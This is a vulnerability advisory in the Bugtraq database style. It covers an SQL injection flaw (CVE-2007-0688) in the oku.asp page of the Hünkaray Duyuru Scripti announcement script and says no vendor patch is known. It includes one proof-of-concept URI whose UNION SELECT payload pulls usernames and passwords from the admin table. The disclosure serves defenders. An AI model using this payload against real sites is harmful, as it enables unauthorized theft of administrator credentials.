Hünkaray Duyuru Scripti Oku.ASP SQL Injection Vulnerability

Bugtraq ID:	24367
Class:	Input Validation Error
CVE:	CVE-2007-0688
Remote:	Yes
Local:	No
Published:	Jun 07 2007 12:00AM
Updated:	May 07 2015 05:37PM
Credit:	Dj_ReMix_20 is credited with the discovery of this vulnerability.
Vulnerable:	Aspindir Hünkaray Duyuru Scripti 0
Not Vulnerable:

Hünkaray Duyuru Scripti Oku.ASP SQL Injection Vulnerability

Hünkaray Duyuru Scripti is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

Hünkaray Duyuru Scripti Oku.ASP SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com//oku.asp?id=-1 union+select+id,adi,kullaniciadi,sifre+from+admin

Hünkaray Duyuru Scripti Oku.ASP SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Hünkaray Duyuru Scripti Oku.ASP SQL Injection Vulnerability

References:

• Hünkaray Duyuru Scripti Homepage (Aspindir)
  
• H?nkaray Duyuru Script Remote SQL İnjection (Dj_ReMix_20)